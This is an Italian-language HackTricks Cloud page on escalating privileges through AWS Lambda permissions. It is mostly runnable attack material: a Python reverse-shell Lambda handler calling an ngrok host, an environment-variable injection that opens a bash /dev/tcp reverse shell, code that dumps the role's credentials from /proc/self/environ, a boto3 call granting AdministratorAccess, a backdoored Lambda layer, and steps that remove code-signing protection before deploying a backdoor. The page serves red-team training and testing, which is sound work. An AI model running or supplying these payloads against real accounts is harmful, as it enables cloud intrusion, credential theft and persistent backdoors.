AWS - Lambda Privesc
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
lambda
Maggiori informazioni su lambda in:
iam:PassRole, lambda:CreateFunction, (lambda:InvokeFunction | lambda:InvokeFunctionUrl)
Gli utenti con i permessi iam:PassRole, lambda:CreateFunction, e lambda:InvokeFunction possono elevare i loro privilegi.
Possono creare una nuova Lambda function e assegnarle un IAM role esistente, concedendo alla function i permessi associati a quel ruolo. Lâutente può poi scrivere e caricare codice su questa Lambda function (ad esempio con una rev shell).
Una volta configurata la function, lâutente può attivarne lâesecuzione e le azioni previste invocando la Lambda function tramite lâAWS API. Questo approccio permette allâutente di eseguire compiti indirettamente attraverso la Lambda function, operando con il livello di accesso concesso allâIAM role ad essa associato.\
Un attacker potrebbe abusarne per ottenere una rev shell e rubare il token:
import socket,subprocess,os,time
def lambda_handler(event, context):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('4.tcp.ngrok.io',14305))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])
time.sleep(900)
return 0
# Zip the rev shell
zip "rev.zip" "rev.py"
# Create the function
aws lambda create-function --function-name my_function \
--runtime python3.9 --role <arn_of_lambda_role> \
--handler rev.lambda_handler --zip-file fileb://rev.zip
# Invoke the function
aws lambda invoke --function-name my_function output.txt
## If you have the lambda:InvokeFunctionUrl permission you need to expose the lambda inan URL and execute it via the URL
# List roles
aws iam list-attached-user-policies --user-name <user-name>
Puoi anche abusare dei permessi del ruolo lambda dalla stessa funzione lambda.
Se il ruolo lambda avesse permessi sufficienti, potresti usarlo per concederti diritti di amministratore:
import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response
Ă inoltre possibile effettuare un leak delle credenziali del ruolo della lambda senza bisogno di una connessione esterna. Questo sarebbe utile per Network isolated Lambdas usate per attivitĂ interne. Se ci sono security groups sconosciuti che filtrano i tuoi reverse shells, questo pezzo di codice ti permetterĂ di effettuare direttamente il leak delle credenziali come output della lambda.
def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
return {
'statusCode': 200,
'session': str(sessiontoken)
}
aws lambda invoke --function-name <lambda_name> output.txt
cat output.txt
Impatto potenziale: Privesc diretto sul ruolo di servizio lambda arbitrario specificato.
Caution
Nota che, anche se può sembrare interessante
lambda:InvokeAsyncnon consente da sola di eseguireaws lambda invoke-async, è necessario anchelambda:InvokeFunction
iam:PassRole, lambda:CreateFunction, lambda:AddPermission
Come nello scenario precedente, puoi assegnarti la permission lambda:InvokeFunction se disponi della permission lambda:AddPermission
# Check the previous exploit and use the following line to grant you the invoke permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"
Impatto potenziale: Privesc diretto al ruolo di servizio lambda arbitrario specificato.
iam:PassRole, lambda:CreateFunction, lambda:CreateEventSourceMapping
Utenti con le autorizzazioni iam:PassRole, lambda:CreateFunction e lambda:CreateEventSourceMapping (e potenzialmente dynamodb:PutItem e dynamodb:CreateTable) possono indirettamente escalate privileges anche senza lambda:InvokeFunction.\
Possono creare una Lambda function con codice malevolo e assegnarle un ruolo IAM esistente.
AnzichĂŠ invocare direttamente la Lambda, lâutente crea o utilizza una tabella DynamoDB esistente, collegandola alla Lambda tramite un event source mapping. Questa configurazione garantisce che la Lambda function venga attivata automaticamente allâinserimento di un nuovo item nella tabella, sia per azione dellâutente sia per un altro processo, invocando cosĂŹ indirettamente la Lambda e eseguendo il codice con le autorizzazioni del ruolo IAM passato.
aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip
Se DynamoDB è giĂ attivo nellâambiente AWS, lâutente deve solo stabilire lâevent source mapping per la Lambda function. Tuttavia, se DynamoDB non è in uso, lâutente deve creare una nuova tabella con lo streaming abilitato:
aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
--key-schema AttributeName=Test,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
Ora è possibile connettere la Lambda function alla DynamoDB table creando un event source mapping:
aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST
Con la funzione Lambda collegata allo stream di DynamoDB, lâattaccante può indirettamente attivare la Lambda tramite lâattivazione dello stream di DynamoDB. Questo può essere ottenuto inserendo un item nella tabella DynamoDB:
aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}
Impatto potenziale: privesc diretto al ruolo di servizio lambda specificato.
lambda:AddPermission
Un attacker con questo permesso può concedersi (o concedere ad altri) qualsiasi permesso (questo genera resource based policies per concedere accesso alla risorsa):
# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>
# Invoke the function
aws lambda invoke --function-name <func_name> /tmp/outout
Potential Impact: Privesc diretto al ruolo di servizio lambda ottenuto concedendo il permesso di modificare il codice ed eseguirlo.
lambda:AddLayerVersionPermission
Un attacker con questa autorizzazione può concedersi (o concedere ad altri) il permesso lambda:GetLayerVersion. Potrebbe accedere al layer e cercare vulnerabilità o informazioni sensibili
# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
Impatto potenziale: Potenziale accesso a informazioni sensibili.
lambda:UpdateFunctionCode
Gli utenti che hanno il permesso lambda:UpdateFunctionCode possono modify the code of an existing Lambda function that is linked to an IAM role.
Lâattaccante può modify the code of the lambda to exfiltrate the IAM credentials.
Sebbene lâattaccante potrebbe non avere la capacitĂ diretta di invocare la funzione, se la Lambda function è preesistente e operativa, è probabile che venga attivata tramite flussi di lavoro o eventi esistenti, facilitando cosĂŹ indirettamente lâesecuzione del codice modificato.
# The zip should contain the lambda code (trick: Download the current one and add your code there)
aws lambda update-function-code --function-name target_function \
--zip-file fileb:///my/lambda/code/zipped.zip
# If you have invoke permissions:
aws lambda invoke --function-name my_function output.txt
# If not check if it's exposed in any URL or via an API gateway you could access
Impatto potenziale: Direct privesc al ruolo di servizio lambda utilizzato.
lambda:UpdateFunctionConfiguration
RCE via env variables
Con queste autorizzazioni è possibile aggiungere environment variables che faranno eseguire al Lambda codice arbitrario. Ad esempio, in python è possibile abusare delle environment variables PYTHONWARNING e BROWSER per far eseguire a un processo python comandi arbitrari:
aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
Per altri linguaggi di scripting esistono altre variabili dâambiente che puoi usare. Per maggiori informazioni consulta le sottosezioni dei linguaggi di scripting in:
macOS Process Abuse - HackTricks
RCE tramite Lambda Layers
Lambda Layers permette di includere code nella tua lambda function ma storing it separately, quindi il codice della funzione può restare piccolo e several functions can share code.
Allâinterno di lambda puoi controllare i percorsi da cui viene caricato il python code con una funzione come la seguente:
import json
import sys
def lambda_handler(event, context):
print(json.dumps(sys.path, indent=2))
Questi sono i percorsi:
- /var/task
- /opt/python/lib/python3.7/site-packages
- /opt/python
- /var/runtime
- /var/lang/lib/python37.zip
- /var/lang/lib/python3.7
- /var/lang/lib/python3.7/lib-dynload
- /var/lang/lib/python3.7/site-packages
- /opt/python/lib/python3.7/site-packages
- /opt/python
Per esempio, la libreria boto3 viene caricata da /var/runtime/boto3 (4ÂŞ posizione).
Sfruttamento
Ă possibile abusare del permesso lambda:UpdateFunctionConfiguration per aggiungere un nuovo layer a una funzione lambda. Per eseguire codice arbitrario questo layer deve contenere qualche libreria che la lambda importerĂ . Se puoi leggere il codice della lambda, puoi scoprirlo facilmente; nota anche che potrebbe essere possibile che la lambda stia giĂ usando un layer e tu possa scaricare il layer e aggiungere il tuo codice lĂŹ dentro.
Per esempio, supponiamo che la lambda stia usando la libreria boto3, questo creerĂ un layer locale con lâultima versione della libreria:
pip3 install -t ./lambda_layer boto3
Puoi aprire ./lambda_layer/boto3/__init__.py e aggiungere la backdoor nel codice globale (una funzione per exfiltrate credentials o ottenere una reverse shell, ad esempio).
Poi, zip la directory ./lambda_layer e carica il nuovo lambda layer nel tuo account (o in quello della vittima, ma potresti non avere i permessi per farlo).
Nota che devi creare una cartella python e mettere le librerie lĂŹ per sovrascrivere /opt/python/boto3. Inoltre, il layer deve essere compatible with the python version usata dalla lambda e se lo carichi nel tuo account, deve essere nella same region:
aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
Ora rendi il lambda layer caricato accessibile da qualsiasi account:
aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *
Quindi allega il lambda layer alla victim lambda function:
aws lambda update-function-configuration \
--function-name <func-name> \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells
Il passo successivo sarebbe o invocare la funzione noi stessi se possibile oppure aspettare che venga invocata dai normali meccanismi â che è il metodo piĂš sicuro.
Un modo piĂš stealth per sfruttare questa vulnerabilitĂ si trova in:
AWS - Lambda Layers Persistence
Impatto potenziale: Privesc diretto al ruolo di servizio lambda utilizzato.
iam:PassRole, lambda:CreateFunction, lambda:CreateFunctionUrlConfig, lambda:InvokeFunctionUrl
Forse con questi permessi riesci a creare una funzione ed eseguirla chiamando lâURL⌠ma non sono riuscito a trovare un modo per testarlo, quindi fammi sapere se ci riesci!
Lambda MitM
Alcune lambda riceveranno informazioni sensibili dagli utenti nei parametri. Se ottieni RCE in una di esse, puoi esfiltrare le informazioni che altri utenti le inviano; vedi:
Riferimenti
- https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/
- https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/
lambda:DeleteFunctionCodeSigningConfig or lambda:PutFunctionCodeSigningConfig + lambda:UpdateFunctionCode â Bypass Lambda Code Signing
Se una funzione lambda applica il code signing, un attacker che può rimuovere la Code Signing Config (CSC) o degradarla a WARN può deployare codice non firmato nella funzione. Questo bypassa le protezioni di integrità senza modificare il ruolo IAM della funzione o i trigger.
Permissions (one of):
- Path A:
lambda:DeleteFunctionCodeSigningConfig,lambda:UpdateFunctionCode - Path B:
lambda:CreateCodeSigningConfig,lambda:PutFunctionCodeSigningConfig,lambda:UpdateFunctionCode
Note:
- Per Path B, non serve un profilo AWS Signer se la policy del CSC è impostata su
WARN(unsigned artifacts allowed).
Passaggi (REGION=us-east-1, TARGET_FN=
Prepara un piccolo payload:
cat > handler.py <<'PY'
import os, json
def lambda_handler(event, context):
return {"pwn": True, "env": list(os.environ)[:6]}
PY
zip backdoor.zip handler.py
Percorso A) Rimuovi CSC, quindi aggiorna il codice:
aws lambda get-function-code-signing-config --function-name $TARGET_FN --region $REGION && HAS_CSC=1 || HAS_CSC=0
if [ "$HAS_CSC" -eq 1 ]; then
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION
fi
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
# If the handler name changed, also run:
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
Percorso B) Downgrade a Warn e aggiorna il codice (se delete non è consentito):
CSC_ARN=$(aws lambda create-code-signing-config \
--description ht-warn-csc \
--code-signing-policies UntrustedArtifactOnDeployment=WARN \
--query CodeSigningConfig.CodeSigningConfigArn --output text --region $REGION)
aws lambda put-function-code-signing-config --function-name $TARGET_FN --code-signing-config-arn $CSC_ARN --region $REGION
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
# If the handler name changed, also run:
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
Verifica:
aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null
cat /tmp/out.json
Impatto potenziale: PossibilitĂ di caricare ed eseguire codice arbitrario non firmato in una funzione che avrebbe dovuto imporre signed deployments, potenzialmente portando allâesecuzione di codice con i permessi del ruolo della funzione.
Pulizia:
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION || true
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
HackTricks Cloud

